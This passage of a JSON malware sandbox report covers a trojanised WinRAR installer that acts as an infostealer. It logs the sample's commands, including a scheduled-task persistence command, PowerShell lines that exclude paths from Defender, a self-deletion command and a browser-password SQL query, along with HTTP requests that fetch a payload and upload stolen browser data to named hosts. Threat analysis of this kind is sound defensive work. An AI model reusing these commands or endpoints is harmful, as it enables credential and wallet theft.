SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")\n \"MicrosoftEdgeSecurity.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$61","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$62","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"winrarx64-setup.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"powershell.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"winrar-x64-710.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to create a thread in another process","description":"\"MicrosoftEdgeSecurity.exe\" called \"CreateRemoteThread\" with parameters {\"hProcess\": \"2312\"\n \"lpThreadAttributes\": \"0\"\n \"dwStackSize\": \"0\"\n \"lpStartAddress\": \"2740716169932\"\n \"lpParameter\": \"2740717027840\"\n \"dwCreationFlags\": \"0\"\n \"lpThreadId\": \"964230588180\"}","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-106","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"winrar-x64-710.exe\" called \"CreateProcessW\" with parameter \"\"%PROGRAMFILES%\\WinRAR\\uninstall.exe\" /setup\" - (UID: 00000000-00007996)\n \"MicrosoftEdgeSecurity.exe\" called \"CreateProcessW\" with parameter \"\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --user-data-dir=\"%TEMP%\\abdv2_lu\" --no\" - (UID: 00000000-00006508)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 81E30000\n \"MicrosoftEdgeSecurity.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 81E30000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"schtasks /create /tn \"EdgeUpdate\" /tr \"%WINDIR%\\\\EdgeUpdate\\\\MicrosoftEdgeSecurity.exe\" /sc minute /mo 5 /f /rl highest\" (UID: 00000000-00007296)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"winrarx64-setup.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 796)\n \"winrarx64-setup.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 796)\n \"winrarx64-setup.exe\" wrote 00000FB8 bytes to a remote process \"C:\\winrar-x64-710.exe\" (Handle: 816)\n \"winrarx64-setup.exe\" wrote 00000008 bytes to a remote process \"C:\\winrar-x64-710.exe\" (Handle: 816)\n \"winrarx64-setup.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\EdgeUpdate\\test.exe\" (Handle: 1256)\n \"winrarx64-setup.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\EdgeUpdate\\test.exe\" (Handle: 1256)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Network Related","name":"GETs executable from a web server (HTTPS)","description":"GET /GoogleAdsSpainWinRarT1.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 45.225.135.164:8081\nConnection: Keep-Alive\nCache-Control: no-cache\n","origin":"Network Traffic","mitre_attack_id":"T1105","relevance":5,"id":"network-74","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"$63","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"$64","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using GET request","description":"$65","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-39","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Steals sensitive data from browsers","description":"Found string \"SELECT origin_url, username_value, password_value FROM logins\"; Source: \"00000000-00004284.00000000.102677.467CD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":10,"id":"string-508","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"MicrosoftEdgeSecurity.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\ELECTRUM\\WALLETS\"\n \"MicrosoftEdgeSecurity.exe\" trying to touch file \"%APPDATA%\\ELECTRUM\\WALLETS\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$66","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$67","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"System Destruction","name":"Executes file deletion commands for data destruction","description":"[Recursive forced deletion] Process \"cmd.exe\" with commandline \"/c timeout /t 3 /nobreak > nul & del /f /q \"%WINDIR%\\\\EdgeUpdate\\\\test.exe\" & rmdir \"%WINDIR%\\\\EdgeUpdate\"\" (UID: 00000000-00007072)","origin":"Monitored Target","mitre_attack_id":"T1485","relevance":3,"id":"target-9003","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:'\"\" (UID: 00000000-00007200)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\\\EdgeUpdate\\\\'\"\" (UID: 00000000-00004404)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '%WINDIR%\\\\EdgeUpdate\\\\\\\\test.exe'\"\" (UID: 00000000-00004972)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$68","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"incidents":[{"name":"Spyware","details_count":7,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Attempts to steal desktop application's information (file access)"},{"detail":"Collects system information using GET request"},{"detail":"Tries to read/open stored key files"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Evasive","details_count":6,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping multiple times"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Able to check if a debugger is running"},{"detail":"Contains ability to terminate a process"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"intel_graph":{"map":{"Domain:simplswop.io":{"type":"Domain","value":"simplswop.io"},"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616":{"type":"File","value":"0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616"},"File:1347fb8a07082920c357cbcbdd95d0f95d24b13903edc955e62738e952d8c9a1":{"type":"File","value":"1347fb8a07082920c357cbcbdd95d0f95d24b13903edc955e62738e952d8c9a1"},"File:1656fc44d7d28ecee5013d4fe74d376a945bc03fa788cf9e2d17a0a53daf708d":{"type":"File","value":"1656fc44d7d28ecee5013d4fe74d376a945bc03fa788cf9e2d17a0a53daf708d"},"File:33698e40caf37aae399c3d9c7adcc7433d1fde085c9200b21f12bf34bf2565fe":{"type":"File","value":"33698e40caf37aae399c3d9c7adcc7433d1fde085c9200b21f12bf34bf2565fe"},"File:3a101fa91d4e8831dfb748a1e345ab74fd4a551e64254710bdf53972ba9b473c":{"type":"File","value":"3a101fa91d4e8831dfb748a1e345ab74fd4a551e64254710bdf53972ba9b473c"},"File:3b90e67a0e67800c2f7cd6afa6f80af12ec74aebb0e125a14138e4bf3813db5c":{"type":"File","value":"3b90e67a0e67800c2f7cd6afa6f80af12ec74aebb0e125a14138e4bf3813db5c"},"File:4b5e9b4ca11942b3bccf0a6f9e1f6d2662155b8ec1e07b87eb2a1722e292956c":{"type":"File","value":"4b5e9b4ca11942b3bccf0a6f9e1f6d2662155b8ec1e07b87eb2a1722e292956c"},"File:58a6f06e6104f42941b66babeb467159c52cee59cf0124d327de8f7bd5e79192":{"type":"File","value":"58a6f06e6104f42941b66babeb467159c52cee59cf0124d327de8f7bd5e79192"},"File:5ed96affb99fa93dc4e9a553d561fa6c5719cf10241307c927c111d2fc1b2200":{"type":"File","value":"5ed96affb99fa93dc4e9a553d561fa6c5719cf10241307c927c111d2fc1b2200"},"File:85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9":{"type":"File","value":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9"},"File:90553feabfa45c859758c94865b0df9ae1529f1fe3aafb9fdaadeeb4eebc0ede":{"type":"File","value":"90553feabfa45c859758c94865b0df9ae1529f1fe3aafb9fdaadeeb4eebc0ede"},"File:96095f21a8d96a332ac2b5e786f96bf9a3d3739540c00c673d775496d755bdbb":{"type":"File","value":"96095f21a8d96a332ac2b5e786f96bf9a3d3739540c00c673d775496d755bdbb"},"File:9ba66ba2c0726b2ceab6c311ce825ad1b7a54aa468c2d2a1701c3ea643b8ee25":{"type":"File","value":"9ba66ba2c0726b2ceab6c311ce825ad1b7a54aa468c2d2a1701c3ea643b8ee25"},"File:9db04f7564a40335c3302a927f604288cd6082d8a0eefd01038d9d5cc9808fa4":{"type":"File","value":"9db04f7564a40335c3302a927f604288cd6082d8a0eefd01038d9d5cc9808fa4"},"File:9f5212b3de527840f14a2ab9149aa532637d4bdabe871caae728f4ac0c818915":{"type":"File","value":"9f5212b3de527840f14a2ab9149aa532637d4bdabe871caae728f4ac0c818915"},"File:abf0d987456f907fd4fca9b0427b575d143b5b4506f1f55d5f42ad4ace728db0":{"type":"File","value":"abf0d987456f907fd4fca9b0427b575d143b5b4506f1f55d5f42ad4ace728db0"},"File:c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd":{"type":"File","value":"c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd"},"File:d712793126dc1dc5086eceb7d61a2ac3906ab90dd931efe5681fda2791c8a92e":{"type":"File","value":"d712793126dc1dc5086eceb7d61a2ac3906ab90dd931efe5681fda2791c8a92e"},"File:d9a479bb1412103a2485a2d1480db7e36ce8dc64e7343a3eb9f6d99c32d9a7df":{"type":"File","value":"d9a479bb1412103a2485a2d1480db7e36ce8dc64e7343a3eb9f6d99c32d9a7df"},"File:e3e4bd4dc68c0beee95e6a2e53c4a0c546f415855ec96988772dc4fbcb0504ae":{"type":"File","value":"e3e4bd4dc68c0beee95e6a2e53c4a0c546f415855ec96988772dc4fbcb0504ae"},"File:ec2e775bde5fa6a7d3c2a77dcdee8e46a8405a032a63e8d201e8793e04d425f4":{"type":"File","value":"ec2e775bde5fa6a7d3c2a77dcdee8e46a8405a032a63e8d201e8793e04d425f4"},"File:eda37e8880f577f714e8bf35abb82dfd41c6d294e6a5134030dc9228c06cefc4":{"type":"File","value":"eda37e8880f577f714e8bf35abb82dfd41c6d294e6a5134030dc9228c06cefc4"},"File:f0eeddb2efeee20f1e94d55fa2012c38db6409502537acd72f1f446ec2525495":{"type":"File","value":"f0eeddb2efeee20f1e94d55fa2012c38db6409502537acd72f1f446ec2525495"},"File:fd635707f7b8f122efff39da595541627bcde249eb31596cc09d757f476b9523":{"type":"File","value":"fd635707f7b8f122efff39da595541627bcde249eb31596cc09d757f476b9523"},"Ip:172.67.133.231":{"type":"Ip","value":"172.67.133.231"},"Ip:45.225.135.164":{"type":"Ip","value":"45.225.135.164"},"Url:/GoogleAdsSpainWinRarT1.exe":{"type":"Url","value":"/GoogleAdsSpainWinRarT1.exe"},"Url:/backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89":{"type":"Url","value":"/backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89"},"Url:/backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0":{"type":"Url","value":"/backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0"},"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome":{"type":"Url","value":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome"},"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge":{"type":"Url","value":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge"},"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber":{"type":"Url","value":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber"},"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware":{"type":"Url","value":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware"}},"chains":[{"id":"sandbox_network","root":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","edges":[{"edge_kind":"contacted_ip","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Ip:45.225.135.164"},{"edge_kind":"contacted_ip","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Ip:172.67.133.231"},{"edge_kind":"contacted_domain","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Domain:simplswop.io"},{"edge_kind":"resolves_to","from_key":"Domain:simplswop.io","to_key":"Ip:172.67.133.231"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/GoogleAdsSpainWinRarT1.exe"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware"},{"edge_kind":"contacted_url","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"Url:/backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","edges":[{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:1347fb8a07082920c357cbcbdd95d0f95d24b13903edc955e62738e952d8c9a1"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:fd635707f7b8f122efff39da595541627bcde249eb31596cc09d757f476b9523"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:ec2e775bde5fa6a7d3c2a77dcdee8e46a8405a032a63e8d201e8793e04d425f4"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:d712793126dc1dc5086eceb7d61a2ac3906ab90dd931efe5681fda2791c8a92e"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:d9a479bb1412103a2485a2d1480db7e36ce8dc64e7343a3eb9f6d99c32d9a7df"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:90553feabfa45c859758c94865b0df9ae1529f1fe3aafb9fdaadeeb4eebc0ede"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:1656fc44d7d28ecee5013d4fe74d376a945bc03fa788cf9e2d17a0a53daf708d"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:4b5e9b4ca11942b3bccf0a6f9e1f6d2662155b8ec1e07b87eb2a1722e292956c"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:33698e40caf37aae399c3d9c7adcc7433d1fde085c9200b21f12bf34bf2565fe"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:5ed96affb99fa93dc4e9a553d561fa6c5719cf10241307c927c111d2fc1b2200"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:9ba66ba2c0726b2ceab6c311ce825ad1b7a54aa468c2d2a1701c3ea643b8ee25"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:9db04f7564a40335c3302a927f604288cd6082d8a0eefd01038d9d5cc9808fa4"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:abf0d987456f907fd4fca9b0427b575d143b5b4506f1f55d5f42ad4ace728db0"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:f0eeddb2efeee20f1e94d55fa2012c38db6409502537acd72f1f446ec2525495"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:3a101fa91d4e8831dfb748a1e345ab74fd4a551e64254710bdf53972ba9b473c"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:9f5212b3de527840f14a2ab9149aa532637d4bdabe871caae728f4ac0c818915"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:e3e4bd4dc68c0beee95e6a2e53c4a0c546f415855ec96988772dc4fbcb0504ae"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:c16fa28b088d4a725152b8af9630445496f973c3c562ed4a4464ca357b0041dd"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:58a6f06e6104f42941b66babeb467159c52cee59cf0124d327de8f7bd5e79192"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:eda37e8880f577f714e8bf35abb82dfd41c6d294e6a5134030dc9228c06cefc4"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:96095f21a8d96a332ac2b5e786f96bf9a3d3739540c00c673d775496d755bdbb"},{"edge_kind":"extracted","from_key":"File:0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616","to_key":"File:3b90e67a0e67800c2f7cd6afa6f80af12ec74aebb0e125a14138e4bf3813db5c"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":19,"spawned_processes_count":19,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":73,"imported_dlls_count":176,"dropped_files_count":0,"extracted_files_count":23,"files_written_count":83,"files_deleted_count":0,"registry_keys_created_count":19,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":19,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":7,"http_requests_count":7},"behavior_tags":["urlscanio","infostealer","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"sandbox_reports":[{"id":"6ab51c34d1aaac177e0d008e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Adload","contacted_countries":["PAN"],"submit_name":"winrarx64-setup.exe","analysis_start_time":"2026-09-24T12:49:02+00:00","indicators_count":{"informative":285,"suspicious":105,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"45.225.135.164","port":8081,"protocol":"TCP","country":"Panama","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"address":"172.67.133.231","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"dns_resolutions":[{"domain":"simplswop.io","address":"172.67.133.231","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"http_requests":[{"host":"45.225.135.164:8081","host_ip":"45.225.135.164:8081","url":"/GoogleAdsSpainWinRarT1.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /GoogleAdsSpainWinRarT1.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 45.225.135.164:8081\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"host":"simplswop.io","host_ip":"172.67.133.231:443","url":"/backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36\nHost: simplswop.io\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"host":"simplswop.io","host_ip":"172.67.133.231:443","url":"/backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1\nContent-Type: multipart/form-data; 